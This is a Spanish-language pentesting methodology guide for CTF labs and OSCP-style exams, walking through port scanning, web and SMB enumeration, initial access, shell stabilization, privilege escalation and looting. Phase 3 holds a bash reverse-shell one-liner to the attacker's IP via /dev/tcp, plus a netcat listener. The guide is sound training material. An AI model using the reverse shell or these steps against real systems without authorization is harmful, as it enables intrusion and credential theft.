Saltar al contenido
Empezar Aquí
Índice de contenidos

Metodología de Pentesting (Cómo comprometer cualquier máquina)

Esta es la guía más importante del repositorio. No es una lista de comandos, sino la forma de pensar y el orden en el que atacar cualquier máquina de un laboratorio (DockerLabs, Hack The Box, TryHackMe, VulnHub) o un examen tipo OSCP.

La idea es simple: cuando te atasques, no improvises al azar. Vuelve a esta página, mira en qué fase estás y qué te queda por probar en esa fase antes de saltar a la siguiente.

Regla de oro: La enumeración lo es todo. El 90 % de las máquinas no se “hackean” con un exploit mágico, se comprometen porque enumeraste mejor que el anterior. Si estás atascado, casi nunca es que falte una técnica nueva: es que te falta enumerar algo que ya tienes delante.


La mentalidad (qué visión hay que tener)

Antes de los comandos, interioriza esto:

  1. Todo lo que responde es un vector. Cada puerto abierto, cada cabecera HTTP, cada recurso compartido, cada usuario, cada versión de software es una pista. Anótalo todo.
  2. Anota mientras atacas, no después. Mantén un fichero por máquina con: IP, puertos, servicios y versiones, credenciales encontradas, rutas interesantes y “cosas raras por revisar”. En el examen esto es obligatorio.
  3. De lo conocido a lo desconocido. Primero prueba lo estándar y documentado (versiones vulnerables, credenciales por defecto, exploits públicos). Lo exótico casi nunca es la vía en labs de nivel inicial/medio.
  4. Una pista a la vez, hasta el final. Si encuentras un servicio web, agótalo (fuzzing, código fuente, parámetros, subdominios) antes de distraerte con otro puerto.
  5. Si algo parece fuera de lugar, lo está. Un nombre de usuario en un comentario HTML, un puerto no estándar, un dominio en el certificado TLS… los creadores de labs dejan migas de pan a propósito.
  6. Reinicia la enumeración tras cada avance. Cuando consigues un usuario, credenciales o una shell, vuelves a enumerar desde cero con tu nuevo nivel de acceso. Eres una persona distinta ahora.

El flujo completo (las fases)

  1. Reconocimiento
    ¿Qué hay? Hosts, puertos y servicios expuestos.
  2. Enumeración
    ¿Qué me dice cada servicio? Aquí se gana o se pierde la máquina.
  3. Acceso inicial
    Conseguir la primera shell (foothold).
  4. Estabilizar
    TTY y shell decente para trabajar con comodidad.
  5. Escalada local
    De usuario normal a root / SYSTEM.
  6. Post-explotación
    Loot, credenciales, pivoting y siguiente máquina.

Cada avance (un usuario nuevo, una credencial, una shell) te devuelve a la fase 2 con más contexto. Es un bucle, no una línea recta.


Fase 1 — Reconocimiento

Objetivo: saber qué máquinas hay vivas y qué puertos/servicios exponen.

Paso 1.1 — Comprobar conectividad

ping -c 1 <IP>

El TTL de la respuesta da una pista del sistema operativo:

TTL aproximadoSistema probable
64Linux / Unix
128Windows
255Equipo de red (router, dispositivo Cisco)

Si no responde al ping, no asumas que está caída: usa -Pn en Nmap. Muchas máquinas bloquean ICMP.

Paso 1.2 — Escaneo de puertos

Primero todos los puertos TCP, rápido:

nmap -p- --open -sS --min-rate 2000 -n -Pn -vvv <IP> -oG nmap/allPorts

Luego enumeración de versiones y scripts solo sobre los puertos abiertos:

nmap -sCV -p<PUERTOS> <IP> -oN nmap/targeted

Y no olvides UDP (SNMP, DNS, TFTP, etc. viven aquí):

nmap -sU --top-ports 200 --min-rate 2000 -Pn <IP> -oN nmap/udp

Detalle completo en Reconocimiento/Escaneo de Puertos.md.

Paso 1.3 — Mapa mental de los puertos

Traduce cada puerto a “por dónde voy a tirar”. Los más habituales en labs:

Puerto(s)ServicioPrimer pensamiento
21FTP¿login anónimo? ¿versión vulnerable (vsftpd 2.3.4)?
22SSHSuele ser la salida, no la entrada. Guárdalo para cuando tengas credenciales.
25 / 110 / 143SMTP / POP3 / IMAPEnumeración de usuarios (VRFY), fuga de info.
53DNSTransferencia de zona, subdominios.
80 / 443 / 8080HTTP(S)El vector número 1. Fuzzing, CMS, código fuente.
88KerberosEs un Domain Controller → Active Directory.
111 / 2049RPC / NFSRecursos exportados montables.
139 / 445SMBShares, usuarios, null session.
161 (UDP)SNMPpublic string → fuga enorme de info.
389 / 636LDAPActive Directory, enumeración de usuarios.
1433MSSQLCredenciales por defecto, xp_cmdshell.
3306MySQLCredenciales, lectura de ficheros.
3389RDPAcceso gráfico con credenciales.
5432PostgreSQLCredenciales, RCE vía COPY.
5985 / 5986WinRMShell con evil-winrm si tienes credenciales.
6379RedisSin auth → escritura de claves/ficheros.

Fase 2 — Enumeración

Aquí es donde se gana o se pierde la máquina. Por cada servicio abierto, ve a su nota correspondiente en Enumeración y Explotación de Protocolos/ y agótala.

Si hay web (80/443/8080/…) — casi siempre la hay

Este es el checklist que resuelve la mayoría de máquinas:

  1. Mira la web con el navegador. Lee el pie de página, el “about”, nombres de usuario, tecnologías.
  2. Identifica la tecnología: whatweb <URL>, la extensión Wappalyzer, cabeceras con curl -I.
  3. Lee el código fuente (Ctrl+U) y el JavaScript: endpoints, comentarios, claves API, rutas ocultas.
  4. Revisa ficheros clásicos: /robots.txt, /sitemap.xml, /.git/, /backup/, /.env.
  5. Fuzzing de directorios y ficheros:
    feroxbuster -u http://<IP>/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
  6. Fuzzing de subdominios / vhosts si hay un dominio (míralo en el certificado o en respuestas):
    ffuf -u http://<IP>/ -H "Host: FUZZ.<dominio>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <tamaño_respuesta_base>
  7. ¿Es un CMS conocido? (WordPress, Joomla, Drupal) → wpscan, busca plugins/temas vulnerables y credenciales.
  8. Prueba parámetros para SQLi, LFI, SSTI, command injection. Ver Vulnerabilidades/Web/.

Detalle en Reconocimiento/Enumeración de Directorios.md.

Si hay SMB (445)

smbclient -L //<IP> -N              # listar shares sin credenciales (null session)
smbmap -H <IP> -u '' -p ''          # ver permisos
netexec smb <IP> -u '' -p '' --shares

Busca shares legibles, baja todo lo interesante, revisa en busca de credenciales. Ver Protocolo SMB.md.

El mantra de la enumeración

Por cada cosa que encuentres, pregúntate: ¿esto me da un usuario, una credencial, una versión, o un sitio donde escribir/leer? Si sí, persíguelo.


Fase 3 — Acceso inicial (Foothold)

Las vías más comunes para la primera shell, ordenadas por frecuencia en labs:

  1. Credenciales por defecto o débiles en un panel/servicio (admin:admin, credenciales en ficheros de config).
  2. Exploit público de una versión vulnerable → busca con searchsploit <producto> <versión> o en Google <producto> <versión> exploit.
  3. Vulnerabilidad web que lleve a RCE: subida de ficheros, LFI a RCE, SSTI, command injection, deserialización.
  4. Reutilización de credenciales encontradas en otro servicio (una contraseña de la web sirve para SSH).
  5. Fuerza bruta como último recurso (ver Fuerza Bruta.md), solo cuando tienes un usuario válido o es claramente la intención del lab.

Cuando logres ejecución de comandos, lanza una reverse shell hacia tu máquina:

# En tu máquina (atacante):
nc -lvnp 443

# En la víctima (según lo que tengas disponible):
bash -c 'bash -i >& /dev/tcp/<TU_IP>/443 0>&1'

Ver Netcat.md y la referencia de revshells.com para payloads en cualquier lenguaje.


Fase 4 — Estabilizar la shell

Una reverse shell “cruda” no tiene autocompletado, ni historial, ni Ctrl+C seguro. Estabilízala siempre:

# Dentro de la shell de la víctima (Linux):
script /dev/null -c bash          # o: python3 -c 'import pty;pty.spawn("/bin/bash")'
# Pulsa Ctrl+Z para dejar la shell en segundo plano
# En tu terminal:
stty raw -echo; fg
# Pulsa Enter dos veces, y luego:
export TERM=xterm

Ahora tienes una TTY decente (flechas, Ctrl+C, clear, etc.).


Fase 5 — Escalada de privilegios local

Vuelve a enumerar, ahora desde dentro. Lanza un script automático y en paralelo revisa a mano.

Linux → ejecuta linpeas.sh y revisa manualmente:

sudo -l                      # qué puedo ejecutar como root sin contraseña
id                           # grupos (docker, lxd, disk → vías conocidas)
find / -perm -4000 2>/dev/null   # binarios SUID
cat /etc/crontab             # tareas programadas

Cruza cada hallazgo con GTFOBins. Detalle en Escalada de Privilegios/Linux.md.

Windows → ejecuta winPEAS.exe y revisa:

whoami /priv                 # privilegios (SeImpersonate → Potato attacks)
systeminfo                   # versión y parches → exploits de kernel

Detalle en Escalada de Privilegios/Windows.md.


Fase 6 — Post-explotación

  1. Loot: lee las flags (user.txt, root.txt), recoge hashes, claves SSH, ficheros de configuración, historiales (~/.bash_history).
  2. Credenciales para reutilizar: casi siempre hay una contraseña que sirve en otra máquina o para otro usuario.
  3. Pivoting: si la máquina tiene una segunda interfaz de red, es tu puente hacia la red interna. Ver la sección de pivoting/tunneling.

Chuleta mental: “¿Y ahora qué?”

Cuando te quedes en blanco, recorre esta lista en orden:

  • ¿He escaneado todos los puertos TCP y los UDP top?
  • ¿He sacado la versión de cada servicio y la he buscado en searchsploit/Google?
  • En la web: ¿he hecho fuzzing de directorios, ficheros y subdominios? ¿He leído el código fuente y el JS? ¿He probado robots.txt, .git, backups?
  • ¿He probado credenciales por defecto y las que ya tengo en todos los servicios (reutilización)?
  • ¿He probado cada parámetro de la web contra SQLi / LFI / SSTI / command injection?
  • Con shell: ¿he ejecutado linpeas/winpeas y mirado sudo -l / whoami /priv?
  • ¿He revisado tareas cron, binarios SUID, servicios y ficheros escribibles?
  • ¿He vuelto a enumerar desde cero tras cada credencial o usuario nuevo?

Si has marcado todo y sigues atascado, el problema casi siempre es un paso de enumeración hecho a medias. Repite la web con otro diccionario, o el escaneo con -sU, o lee de nuevo ese fichero que ignoraste.


Herramientas relacionadas

HerramientaFaseDescripción
nmapReconocimientoEscaneo de puertos, servicios y scripts NSE.
feroxbuster/ffuf/gobusterEnumeraciónFuzzing de directorios, ficheros y subdominios.
whatweb/wappalyzerEnumeraciónIdentificación de tecnologías web.
netexec (nxc)EnumeraciónEnumeración masiva de SMB/WinRM/LDAP/MSSQL.
searchsploitAcceso inicialBúsqueda offline de exploits públicos.
linpeas/winpeasEscaladaEnumeración automática de vías de escalada.
GTFOBins/LOLBASEscaladaAbuso de binarios legítimos (Linux/Windows).

Consejo final: trata cada máquina como una conversación. La máquina te va dando información; tu trabajo es hacer las preguntas correctas en el orden correcto. La velocidad llega sola con la repetición — al principio prioriza no saltarte pasos.